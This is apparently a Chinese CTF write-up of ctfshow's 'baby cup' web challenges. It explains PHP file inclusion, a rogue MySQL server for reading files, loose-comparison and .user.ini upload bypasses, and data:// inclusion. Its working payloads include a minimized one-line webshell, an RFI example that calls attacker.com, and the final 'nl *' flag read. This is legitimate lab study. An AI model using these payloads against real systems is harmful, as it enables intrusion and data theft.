ctfshow-web-baby杯笔记

baby_captcha

听出验证码然后直接抓包爆破密码即可

ctfshowcms

php代码审计。首先看/index.php中,存在文件包含。

1
2
3
4
5
6
7
8

$want = addslashes($_GET['feng']);

$want = $want==""?"index":$want;


include('files/'.$want.".php");

然后看/install/index.php。发现这是一个安装数据库的脚本,其中user,password,dbhost,dbuser,dbpwd和dbname都是可控的参数。

1
2
3
4
5
6
7
8
9
10
11
12
13

$user=$_POST['user'];

$password=md5($_POST['password']);

$dbhost=$_POST['dbhost'];

$dbuser=$_POST['dbuser'];

$dbpwd=$_POST['dbpwd'];

$dbname=$_POST['dbname'];

但是直接访问/install/index.php时,发现回显的直接是“已经安装”,那么就说明该路径下已经有了installLock.txt这个文件。如果要用/index.php下的文件包含来绕过的话,那么又缺少了sql文件。

但是dbhost,dbuser什么的都能控制,那么就可以尝试搭一个恶意服务器读文件。使用从别的wp那里找到的脚本

然后post发个包就行,连接到远程的VPS。注意:VPS上需要安装mysql并且设置可以远程访问

1
2
3
4
5
6

posthttp://0983140c-15be-4f10-9449-5f49d376b5e4.challenge.ctf.show/?feng=../install/index


user=随便填&password=随便填&dbhost=VPS地址和端口&dbuser=VPS数据库用户名&dbpwd=VPS数据库密码&dbname=VPS数据库名,可以自己建一个

应该不难

discuz!漏洞。可以直接安装的时候写入马,然后就能在config/config_ucenter.php控制了。

数据库前缀修改即可。

babyphp

.htaccess 和 .user.ini

.htaccess和.user.ini都是用于配置Web服务器的文件。

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.user.ini是PHP的一个全局配置文件,对整个Web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。.user.ini只能用于Server API为FastCGI模式下,而正常情况下Apache不是运行在此模块下的。.htaccess和.user.ini都只能用于访问本目录下的文件时进行覆盖。

.htaccess和.user.ini文件上传

能够利用.user.ini的条件:
- 服务器脚本语言为PHP 服务器使用CGI
- FastCGI模式
- 上传目录下要有可执行的php文件
- 可能更多会被利用在文件包含中

.htaccess的配置文件只能在Apache服务器中起作用

题目分析

分析代码,发现有这样一串疑似矛盾的代码:

1
2
3
4
5
6
7
8
if($action==='upload'){
die('Permission denied');
}

switch ($action) {
case 'upload':
...
}

松散比较可以绕过这个。即赋值a=0或a=空。那么,$action就会被赋为“true”,然后就会运行upload的那个case。那么就可以考虑文件上传了。

再读代码,发现可以实例化一个fileUtil类,存在过滤,文件名里存在php都不行。

1
2
3
private function waf($input){
return !preg_match('/php/i', $input);
}

其他wp中提到,有一个open_basedir,所以想通过文件读取点读到flag走不通。

Wappalyzer一看,这个是Nginx服务器,那么就可能是使用.user.ini。

尝试构造.user.ini进行远程马的写入。

但是直接用burp传post居然上不去。根据其他wp的启迪,编写一个python代码来传post请求。

完美的缺点

读代码,发现file_name和file_content的值可控。前者取前16字符,后者取前32字符。

1
2
$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);

然后会放到这个路径下面:/var/www/html//c/t/f/s/h/o/w/。

1
ini_set('open_basedir', '/var/www/html/');
1
file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);

其他wp,可以通过短域名来解决,或者是把远程服务器ip地址转进制解决。

另一个wp的方法是利用data协议。

文件包含漏洞和include()

data:// 是 PHP 中的一个伪协议,它允许将数据作为 URL 来访问。该协议的语法如下:

data:[<mediatype>][;base64],<data>

其中,<mediatype> 是数据的 MIME 类型,<data> 是数据本身。如果数据是二进制的,则可以使用 base64 编码
如:echo file_get_contents(‘data:text/plain;base64,SGVsbG8gV29ybGQh’); 输出文本
echo ‘<img src="data:image/png;base64,iVBORw0KG...">‘; 输出图片

代码中存在include(),即为文件包含漏洞。

文件包含漏洞是一种常见的安全漏洞,通常出现在 Web 应用程序中。它允许攻击者通过构造恶意请求来读取或执行应用程序中的文件,从而可能导致应用程序被攻击者接管。

文件包含漏洞分为两种类型:本地文件包含(LFI)和远程文件包含(RFI)。本地文件包含是指攻击者可以读取或执行应用程序服务器上的本地文件。远程文件包含是指攻击者可以通过构造恶意请求来读取或执行远程服务器上的文件。
如下面的脚本,攻击者将 page 参数设置为 http://attacker.com/malicious.php,则该脚本将尝试包含 http://attacker.com/malicious.php.php 文件,从而导致恶意代码在服务器上执行。

1
2
3
4
5
6
7
<?php
// 从 GET 请求中获取页面名称
$page = $_GET['page'];

// 包含页面内容
include($page . '.php');
?>

payload的精简

参考另一个wp,可以把一句话木马进行长度上的精简。

  • 首先<?php可以用段标签代替<?=
  • 其次eval可以用反引号``代替
  • 再次$_POST[0]可以直接换成要执行的命令
  • 最后不闭合php标签

最后即可精简到几个字符:

1
<?=``;

加入data:伪协议,因为其存在

1
include($file_name);

也许是将其转化为URL的方式“远程读入”,从而进行执行?

nl 命令在 Linux 系统中用于计算文件的行号,是 “number of lines” 的缩写。nl 可以将输出的文件内容自动加上行号!其默认的结果与 cat -n 有点不太一样,nl 可以自定义行号显示效果,包括位数和自动补全

所以可以直接用burpsuite来POST内容为ctfshow,GET参数写file_name=data:,<?=ls;直接查看路径下内容。发现路径下存在flag.php。

需要在4个字符内对flag.php进行读取。cat *为五个字符,而nl *就是四个字符了。构造GET参数file_name=data:,<?=nl%20*;(进行URL编码)就能读出flag.php的内容了。